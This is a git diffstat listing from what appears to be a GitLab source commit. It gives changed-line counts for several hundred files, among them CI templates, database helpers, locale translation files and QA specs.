-rw-r--r--lib/gitlab/cache/ci/project_pipeline_status.rb8
-rw-r--r--lib/gitlab/cache/helpers.rb111
-rw-r--r--lib/gitlab/cache/import/caching.rb28
-rw-r--r--lib/gitlab/changelog/ast.rb157
-rw-r--r--lib/gitlab/changelog/config.rb14
-rw-r--r--lib/gitlab/changelog/eval_state.rb26
-rw-r--r--lib/gitlab/changelog/parser.rb176
-rw-r--r--lib/gitlab/changelog/release.rb9
-rw-r--r--lib/gitlab/checks/container_moved.rb41
-rw-r--r--lib/gitlab/checks/lfs_check.rb4
-rw-r--r--lib/gitlab/checks/post_push_message.rb23
-rw-r--r--lib/gitlab/checks/project_created.rb12
-rw-r--r--lib/gitlab/checks/project_moved.rb33
-rw-r--r--lib/gitlab/ci/ansi2json/line.rb10
-rw-r--r--lib/gitlab/ci/config/entry/artifacts.rb7
-rw-r--r--lib/gitlab/ci/config/entry/reports.rb3
-rw-r--r--lib/gitlab/ci/features.rb16
-rw-r--r--lib/gitlab/ci/matching/runner_matcher.rb1
-rw-r--r--lib/gitlab/ci/pipeline/chain/seed.rb15
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb36
-rw-r--r--lib/gitlab/ci/pipeline/seed/stage.rb2
-rw-r--r--lib/gitlab/ci/pipeline_object_hierarchy.rb14
-rw-r--r--lib/gitlab/ci/reports/security/analyzer.rb20
-rw-r--r--lib/gitlab/ci/reports/security/concerns/fingerprint_path_from_file.rb19
-rw-r--r--lib/gitlab/ci/reports/security/identifier.rb69
-rw-r--r--lib/gitlab/ci/reports/security/link.rb25
-rw-r--r--lib/gitlab/ci/reports/security/scan.rb29
-rw-r--r--lib/gitlab/ci/reports/security/scanned_resource.rb25
-rw-r--r--lib/gitlab/ci/reports/security/scanner.rb60
-rw-r--r--lib/gitlab/ci/status/build/failed.rb3
-rw-r--r--lib/gitlab/ci/status/composite.rb6
-rw-r--r--lib/gitlab/ci/status/core.rb4
-rw-r--r--lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Android.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Bash.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/C++.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Chef.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Clojure.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Composer.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Crystal.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Dart.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Django.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Docker.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Elixir.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Flutter.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Getting-Started.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Go.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Gradle.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Grails.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml44
-rw-r--r--lib/gitlab/ci/templates/Julia.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Laravel.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Maven.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Mono.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/PHP.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Packer.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Brunch.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Doxygen.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Gatsby.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Harp.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Hexo.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Hugo.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Hyde.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Python.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Ruby.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Rust.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Scala.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Security/Cluster-Image-Scanning.gitlab-ci.yml34
-rw-r--r--lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml20
-rw-r--r--lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml14
-rw-r--r--lib/gitlab/ci/templates/Serverless.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Swift.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Terraform.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml113
-rw-r--r--lib/gitlab/ci/templates/dotNET-Core.yml117
-rw-r--r--lib/gitlab/ci/templates/dotNET.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/templates/npm.gitlab-ci.yml5
-rw-r--r--lib/gitlab/ci/trace.rb2
-rw-r--r--lib/gitlab/ci/yaml_processor.rb18
-rw-r--r--lib/gitlab/ci/yaml_processor/dag.rb42
-rw-r--r--lib/gitlab/content_security_policy/config_loader.rb7
-rw-r--r--lib/gitlab/database.rb35
-rw-r--r--lib/gitlab/database/as_with_materialized.rb2
-rw-r--r--lib/gitlab/database/background_migration/batched_job.rb45
-rw-r--r--lib/gitlab/database/background_migration/batched_migration.rb9
-rw-r--r--lib/gitlab/database/background_migration/batched_migration_runner.rb45
-rw-r--r--lib/gitlab/database/batch_count.rb156
-rw-r--r--lib/gitlab/database/batch_counter.rb159
-rw-r--r--lib/gitlab/database/custom_structure.rb43
-rw-r--r--lib/gitlab/database/dynamic_model_helpers.rb6
-rw-r--r--lib/gitlab/database/load_balancing.rb1
-rw-r--r--lib/gitlab/database/load_balancing/load_balancer.rb15
-rw-r--r--lib/gitlab/database/load_balancing/rack_middleware.rb2
-rw-r--r--lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb26
-rw-r--r--lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb63
-rw-r--r--lib/gitlab/database/load_balancing/srv_resolver.rb2
-rw-r--r--lib/gitlab/database/load_balancing/sticking.rb16
-rw-r--r--lib/gitlab/database/migration_helpers.rb30
-rw-r--r--lib/gitlab/database/migrations/background_migration_helpers.rb5
-rw-r--r--lib/gitlab/database/partitioning/monthly_strategy.rb29
-rw-r--r--lib/gitlab/database/partitioning/partition_creator.rb87
-rw-r--r--lib/gitlab/database/partitioning/partition_manager.rb108
-rw-r--r--lib/gitlab/database/partitioning/partition_monitoring.rb2
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb129
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key.rb13
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_validator.rb28
-rw-r--r--lib/gitlab/database/postgres_hll/batch_distinct_counter.rb8
-rw-r--r--lib/gitlab/database/postgres_index.rb20
-rw-r--r--lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb3
-rw-r--r--lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin.rb2
-rw-r--r--lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb7
-rw-r--r--lib/gitlab/database/reindexing.rb8
-rw-r--r--lib/gitlab/database/reindexing/concurrent_reindex.rb154
-rw-r--r--lib/gitlab/database/reindexing/coordinator.rb2
-rw-r--r--lib/gitlab/database/reindexing/index_selection.rb17
-rw-r--r--lib/gitlab/database/reindexing/reindex_action.rb2
-rw-r--r--lib/gitlab/database/reindexing/reindex_concurrently.rb138
-rw-r--r--lib/gitlab/database/schema_cleaner.rb6
-rw-r--r--lib/gitlab/database/schema_migrations.rb19
-rw-r--r--lib/gitlab/database/schema_migrations/context.rb41
-rw-r--r--lib/gitlab/database/schema_migrations/migrations.rb52
-rw-r--r--lib/gitlab/database/schema_version_files.rb64
-rw-r--r--lib/gitlab/database_importers/instance_administrators/create_group.rb2
-rw-r--r--lib/gitlab/database_importers/self_monitoring/project/create_service.rb19
-rw-r--r--lib/gitlab/diff/file.rb2
-rw-r--r--lib/gitlab/diff/file_collection/base.rb10
-rw-r--r--lib/gitlab/diff/file_collection/commit.rb4
-rw-r--r--lib/gitlab/diff/file_collection/compare.rb4
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_base.rb8
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_batch.rb33
-rw-r--r--lib/gitlab/diff/position_tracer/line_strategy.rb21
-rw-r--r--lib/gitlab/email/handler/create_issue_handler.rb3
-rw-r--r--lib/gitlab/email/handler/reply_processing.rb16
-rw-r--r--lib/gitlab/email/handler/service_desk_handler.rb16
-rw-r--r--lib/gitlab/email/message/in_product_marketing/verify.rb2
-rw-r--r--lib/gitlab/email/receiver.rb9
-rw-r--r--lib/gitlab/error_tracking/processor/grpc_error_processor.rb7
-rw-r--r--lib/gitlab/experimentation.rb3
-rw-r--r--lib/gitlab/experimentation/controller_concern.rb5
-rw-r--r--lib/gitlab/git.rb2
-rw-r--r--lib/gitlab/git/repository.rb28
-rw-r--r--lib/gitlab/git/user.rb19
-rw-r--r--lib/gitlab/git/wiki.rb7
-rw-r--r--lib/gitlab/git_access.rb29
-rw-r--r--lib/gitlab/gitaly_client.rb2
-rw-r--r--lib/gitlab/gitaly_client/blob_service.rb19
-rw-r--r--lib/gitlab/gitaly_client/blobs_stitcher.rb4
-rw-r--r--lib/gitlab/gitaly_client/commit_service.rb10
-rw-r--r--lib/gitlab/gitaly_client/conflicts_service.rb2
-rw-r--r--lib/gitlab/gitaly_client/list_blobs_adapter.rb21
-rw-r--r--lib/gitlab/gitaly_client/repository_service.rb17
-rw-r--r--lib/gitlab/gitaly_client/storage_settings.rb2
-rw-r--r--lib/gitlab/github_import/importer/diff_notes_importer.rb4
-rw-r--r--lib/gitlab/github_import/importer/issues_importer.rb4
-rw-r--r--lib/gitlab/github_import/importer/lfs_objects_importer.rb6
-rw-r--r--lib/gitlab/github_import/importer/notes_importer.rb4
-rw-r--r--lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb2
-rw-r--r--lib/gitlab/github_import/importer/pull_request_review_importer.rb12
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_importer.rb4
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb6
-rw-r--r--lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb8
-rw-r--r--lib/gitlab/github_import/markdown_text.rb2
-rw-r--r--lib/gitlab/github_import/object_counter.rb84
-rw-r--r--lib/gitlab/github_import/parallel_scheduling.rb6
-rw-r--r--lib/gitlab/github_import/representation/pull_request_review.rb2
-rw-r--r--lib/gitlab/github_import/user_finder.rb2
-rw-r--r--lib/gitlab/gitlab_import/importer.rb4
-rw-r--r--lib/gitlab/global_id/deprecations.rb5
-rw-r--r--lib/gitlab/gon_helper.rb3
-rw-r--r--lib/gitlab/graphql/pagination/keyset/generic_keyset_pagination.rb31
-rw-r--r--lib/gitlab/highlight.rb16
-rw-r--r--lib/gitlab/hook_data/issue_builder.rb4
-rw-r--r--lib/gitlab/i18n.rb22
-rw-r--r--lib/gitlab/import_export/project/import_export.yml9
-rw-r--r--lib/gitlab/import_export/project/object_builder.rb12
-rw-r--r--lib/gitlab/import_export/project/relation_factory.rb5
-rw-r--r--lib/gitlab/import_export/relation_tree_restorer.rb2
-rw-r--r--lib/gitlab/instrumentation/redis_interceptor.rb10
-rw-r--r--lib/gitlab/instrumentation_helper.rb7
-rw-r--r--lib/gitlab/integrations/sti_type.rb6
-rw-r--r--lib/gitlab/jira_import.rb6
-rw-r--r--lib/gitlab/jira_import/base_importer.rb2
-rw-r--r--lib/gitlab/json.rb8
-rw-r--r--lib/gitlab/kas.rb6
-rw-r--r--lib/gitlab/kas/client.rb8
-rw-r--r--lib/gitlab/kubernetes/cilium_network_policy.rb10
-rw-r--r--lib/gitlab/kubernetes/network_policy.rb12
-rw-r--r--lib/gitlab/kubernetes/network_policy_common.rb3
-rw-r--r--lib/gitlab/legacy_github_import/user_formatter.rb7
-rw-r--r--lib/gitlab/lograge/custom_options.rb1
-rw-r--r--lib/gitlab/memory/instrumentation.rb17
-rw-r--r--lib/gitlab/metrics/dashboard/finder.rb17
-rw-r--r--lib/gitlab/metrics/exporter/base_exporter.rb3
-rw-r--r--lib/gitlab/metrics/exporter/sidekiq_exporter.rb3
-rw-r--r--lib/gitlab/metrics/exporter/web_exporter.rb3
-rw-r--r--lib/gitlab/metrics/prometheus.rb2
-rw-r--r--lib/gitlab/metrics/subscribers/action_cable.rb22
-rw-r--r--lib/gitlab/metrics/subscribers/active_record.rb30
-rw-r--r--lib/gitlab/metrics/subscribers/load_balancing.rb70
-rw-r--r--lib/gitlab/object_hierarchy.rb73
-rw-r--r--lib/gitlab/pagination/keyset/column_order_definition.rb4
-rw-r--r--lib/gitlab/pagination/keyset/iterator.rb8
-rw-r--r--lib/gitlab/pagination/keyset/order.rb24
-rw-r--r--lib/gitlab/pagination/offset_pagination.rb15
-rw-r--r--lib/gitlab/patch/global_id.rb2
-rw-r--r--lib/gitlab/prometheus/adapter.rb2
-rw-r--r--lib/gitlab/push_options.rb1
-rw-r--r--lib/gitlab/reactive_cache_set_cache.rb5
-rw-r--r--lib/gitlab/recaptcha.rb3
-rw-r--r--lib/gitlab/reference_extractor.rb10
-rw-r--r--lib/gitlab/regex.rb6
-rw-r--r--lib/gitlab/repo_path.rb36
-rw-r--r--lib/gitlab/repository_set_cache.rb6
-rw-r--r--lib/gitlab/search/sort_options.rb4
-rw-r--r--lib/gitlab/search_results.rb32
-rw-r--r--lib/gitlab/set_cache.rb8
-rw-r--r--lib/gitlab/sidekiq_config.rb15
-rw-r--r--lib/gitlab/sidekiq_logging/structured_logger.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware.rb8
-rw-r--r--lib/gitlab/sidekiq_middleware/client_metrics.rb1
-rw-r--r--lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb6
-rw-r--r--lib/gitlab/sidekiq_middleware/server_metrics.rb79
-rw-r--r--lib/gitlab/sidekiq_middleware/size_limiter/validator.rb4
-rw-r--r--lib/gitlab/sidekiq_middleware/worker_context/client.rb7
-rw-r--r--lib/gitlab/sidekiq_queue.rb8
-rw-r--r--lib/gitlab/slash_commands/issue_new.rb2
-rw-r--r--lib/gitlab/spamcheck/client.rb17
-rw-r--r--lib/gitlab/template/gitlab_ci_yml_template.rb2
-rw-r--r--lib/gitlab/template_parser/ast.rb157
-rw-r--r--lib/gitlab/template_parser/error.rb8
-rw-r--r--lib/gitlab/template_parser/eval_state.rb26
-rw-r--r--lib/gitlab/template_parser/parser.rb176
-rw-r--r--lib/gitlab/tracking/destinations/snowplow.rb42
-rw-r--r--lib/gitlab/tracking/helpers.rb15
-rw-r--r--lib/gitlab/usage/docs/helper.rb4
-rw-r--r--lib/gitlab/usage/docs/templates/default.md.haml3
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric.rb15
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/database_metric.rb34
-rw-r--r--lib/gitlab/usage_data.rb17
-rw-r--r--lib/gitlab/usage_data_counters/counter_events/package_events.yml11
-rw-r--r--lib/gitlab/usage_data_counters/hll_redis_counter.rb6
-rw-r--r--lib/gitlab/usage_data_counters/known_events/common.yml5
-rw-r--r--lib/gitlab/usage_data_non_sql_metrics.rb2
-rw-r--r--lib/gitlab/usage_data_queries.rb2
-rw-r--r--lib/gitlab/utils.rb10
-rw-r--r--lib/gitlab/utils/sanitize_node_link.rb2
-rw-r--r--lib/gitlab/utils/usage_data.rb2
-rw-r--r--lib/object_storage/direct_upload.rb1
-rw-r--r--lib/quality/seeders/issues.rb2
-rw-r--r--lib/security/ci_configuration/base_build_action.rb1
-rw-r--r--lib/security/ci_configuration/dependency_scanning_build_action.rb19
-rw-r--r--lib/serializers/symbolized_json.rb18
-rw-r--r--lib/sidebars/groups/context.rb11
-rw-r--r--lib/sidebars/groups/menus/scope_menu.rb34
-rw-r--r--lib/sidebars/groups/panel.rb22
-rw-r--r--lib/sidebars/projects/menus/analytics_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/deployments_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/infrastructure_menu.rb3
-rw-r--r--lib/sidebars/projects/menus/issues_menu.rb14
-rw-r--r--lib/sidebars/projects/menus/labels_menu.rb50
-rw-r--r--lib/sidebars/projects/menus/members_menu.rb43
-rw-r--r--lib/sidebars/projects/menus/monitor_menu.rb104
-rw-r--r--lib/sidebars/projects/menus/project_information_menu.rb57
-rw-r--r--lib/sidebars/projects/menus/scope_menu.rb4
-rw-r--r--lib/sidebars/projects/menus/settings_menu.rb4
-rw-r--r--lib/sidebars/projects/panel.rb2
-rw-r--r--lib/system_check/app/git_user_default_ssh_config_check.rb2
-rw-r--r--lib/tasks/gitlab/assets.rake4
-rw-r--r--lib/tasks/gitlab/background_migrations.rake23
-rw-r--r--lib/tasks/gitlab/backup.rake5
-rw-r--r--lib/tasks/gitlab/db.rake58
-rw-r--r--lib/tasks/gitlab/helpers.rake4
-rw-r--r--lib/tasks/gitlab/sidekiq.rake25
-rw-r--r--lib/tasks/gitlab/usage_data.rake2
-rw-r--r--locale/am_ET/gitlab.po1997
-rw-r--r--locale/ar_SA/gitlab.po2015
-rw-r--r--locale/as_IN/gitlab.po1995
-rw-r--r--locale/az_AZ/gitlab.po1995
-rw-r--r--locale/ba_RU/gitlab.po1990
-rw-r--r--locale/bg/gitlab.po1997
-rw-r--r--locale/bn_BD/gitlab.po1995
-rw-r--r--locale/bn_IN/gitlab.po1995
-rw-r--r--locale/br_FR/gitlab.po2010
-rw-r--r--locale/bs_BA/gitlab.po2000
-rw-r--r--locale/ca_ES/gitlab.po1995
-rw-r--r--locale/cs_CZ/gitlab.po2005
-rw-r--r--locale/cy_GB/gitlab.po2015
-rw-r--r--locale/da_DK/gitlab.po1995
-rw-r--r--locale/de/gitlab.po2041
-rw-r--r--locale/el_GR/gitlab.po1995
-rw-r--r--locale/eo/gitlab.po1997
-rw-r--r--locale/es/gitlab.po2065
-rw-r--r--locale/et_EE/gitlab.po1995
-rw-r--r--locale/fa_IR/gitlab.po1995
-rw-r--r--locale/fi_FI/gitlab.po1995
-rw-r--r--locale/fil_PH/gitlab.po1995
-rw-r--r--locale/fr/gitlab.po2021
-rw-r--r--locale/gitlab.pot1967
-rw-r--r--locale/gl_ES/gitlab.po1995
-rw-r--r--locale/he_IL/gitlab.po2005
-rw-r--r--locale/hi_IN/gitlab.po1995
-rw-r--r--locale/hr_HR/gitlab.po2000
-rw-r--r--locale/hu_HU/gitlab.po1995
-rw-r--r--locale/hy_AM/gitlab.po1995
-rw-r--r--locale/id_ID/gitlab.po1990
-rw-r--r--locale/ig_NG/gitlab.po1990
-rw-r--r--locale/is_IS/gitlab.po1995
-rw-r--r--locale/it/gitlab.po2001
-rw-r--r--locale/ja/gitlab.po2060
-rw-r--r--locale/ka_GE/gitlab.po1995
-rw-r--r--locale/kab/gitlab.po1995
-rw-r--r--locale/ko/gitlab.po2022
-rw-r--r--locale/ku_TR/gitlab.po1995
-rw-r--r--locale/ky_KG/gitlab.po1995
-rw-r--r--locale/lt_LT/gitlab.po2005
-rw-r--r--locale/mk_MK/gitlab.po1995
-rw-r--r--locale/mn_MN/gitlab.po1995
-rw-r--r--locale/nb_NO/gitlab.po2029
-rw-r--r--locale/nl_NL/gitlab.po1995
-rw-r--r--locale/pa_IN/gitlab.po1995
-rw-r--r--locale/pl_PL/gitlab.po2845
-rw-r--r--locale/pt_BR/gitlab.po2289
-rw-r--r--locale/pt_PT/gitlab.po2013
-rw-r--r--locale/ro_RO/gitlab.po2000
-rw-r--r--locale/ru/gitlab.po2177
-rw-r--r--locale/si_LK/gitlab.po1995
-rw-r--r--locale/sk_SK/gitlab.po2005
-rw-r--r--locale/sl_SI/gitlab.po2005
-rw-r--r--locale/sq_AL/gitlab.po1995
-rw-r--r--locale/sr_CS/gitlab.po2000
-rw-r--r--locale/sr_SP/gitlab.po2000
-rw-r--r--locale/sv_SE/gitlab.po2349
-rw-r--r--locale/sw_KE/gitlab.po1995
-rw-r--r--locale/ta_IN/gitlab.po1995
-rw-r--r--locale/tr_TR/gitlab.po2009
-rw-r--r--locale/uk/gitlab.po2123
-rw-r--r--locale/ur_PK/gitlab.po1995
-rw-r--r--locale/uz_UZ/gitlab.po1995
-rw-r--r--locale/vi_VN/gitlab.po1990
-rw-r--r--locale/zh_CN/gitlab.po2076
-rw-r--r--locale/zh_HK/gitlab.po1994
-rw-r--r--locale/zh_TW/gitlab.po2012
-rw-r--r--package.json67
-rw-r--r--qa/Dockerfile46
-rw-r--r--qa/Gemfile7
-rw-r--r--qa/Gemfile.lock98
-rw-r--r--qa/Rakefile8
-rw-r--r--qa/qa.rb16
-rw-r--r--qa/qa/fixtures/export.tar.gzbin0 -> 306887 bytes
-rw-r--r--qa/qa/page/admin/overview/users/show.rb30
-rw-r--r--qa/qa/page/base.rb6
-rw-r--r--qa/qa/page/component/import/gitlab.rb40
-rw-r--r--qa/qa/page/component/import/selection.rb23
-rw-r--r--qa/qa/page/component/invite_members_modal.rb6
-rw-r--r--qa/qa/page/component/issuable/sidebar.rb16
-rw-r--r--qa/qa/page/dashboard/snippet/edit.rb3
-rw-r--r--qa/qa/page/group/bulk_import.rb5
-rw-r--r--qa/qa/page/group/menu.rb2
-rw-r--r--qa/qa/page/group/new.rb6
-rw-r--r--qa/qa/page/group/settings/general.rb2
-rw-r--r--qa/qa/page/group/sub_menus/common.rb4
-rw-r--r--qa/qa/page/main/login.rb2
-rw-r--r--qa/qa/page/project/fork/new.rb8
-rw-r--r--qa/qa/page/project/import/github.rb30
-rw-r--r--qa/qa/page/project/import/repo_by_url.rb60
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/show.rb43
-rw-r--r--qa/qa/page/project/new.rb15
-rw-r--r--qa/qa/page/project/pipeline_editor/show.rb45
-rw-r--r--qa/qa/page/project/settings/advanced.rb2
-rw-r--r--qa/qa/page/project/settings/default_branch.rb29
-rw-r--r--qa/qa/page/project/settings/deploy_tokens.rb4
-rw-r--r--qa/qa/page/project/settings/mirroring_repositories.rb11
-rw-r--r--qa/qa/page/project/settings/repository.rb8
-rw-r--r--qa/qa/page/project/sub_menus/ci_cd.rb18
-rw-r--r--qa/qa/page/project/sub_menus/project.rb6
-rw-r--r--qa/qa/resource/base.rb218
-rw-r--r--qa/qa/resource/deploy_token.rb2
-rw-r--r--qa/qa/resource/group.rb4
-rw-r--r--qa/qa/resource/group_base.rb10
-rw-r--r--qa/qa/resource/import_project.rb35
-rw-r--r--qa/qa/resource/kubernetes_cluster/project_cluster.rb17
-rw-r--r--qa/qa/resource/merge_request.rb70
-rw-r--r--qa/qa/resource/package.rb7
-rw-r--r--qa/qa/resource/personal_access_token.rb24
-rw-r--r--qa/qa/resource/personal_access_token_cache.rb17
-rw-r--r--qa/qa/resource/project.rb32
-rw-r--r--qa/qa/resource/project_imported_from_github.rb65
-rw-r--r--qa/qa/resource/project_imported_from_url.rb27
-rw-r--r--qa/qa/resource/repository/wiki_push.rb1
-rw-r--r--qa/qa/resource/user.rb2
-rw-r--r--qa/qa/runtime/allure_report.rb38
-rw-r--r--qa/qa/runtime/browser.rb80
-rw-r--r--qa/qa/runtime/env.rb25
-rw-r--r--qa/qa/scenario/test/integration/registry.rb13
-rw-r--r--qa/qa/service/cluster_provider/k3s_cilium.rb93
-rw-r--r--qa/qa/service/docker_run/gitlab_runner.rb16
-rw-r--r--qa/qa/service/docker_run/k3s.rb15
-rw-r--r--qa/qa/service/kubernetes_cluster.rb24
-rw-r--r--qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb133
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb8
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb2
-rw-r--r--qa/qa/specs/features/api/5_package/container_registry_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb48
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb87
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb13
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb90
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/container_registry_omnibus_spec.rb88
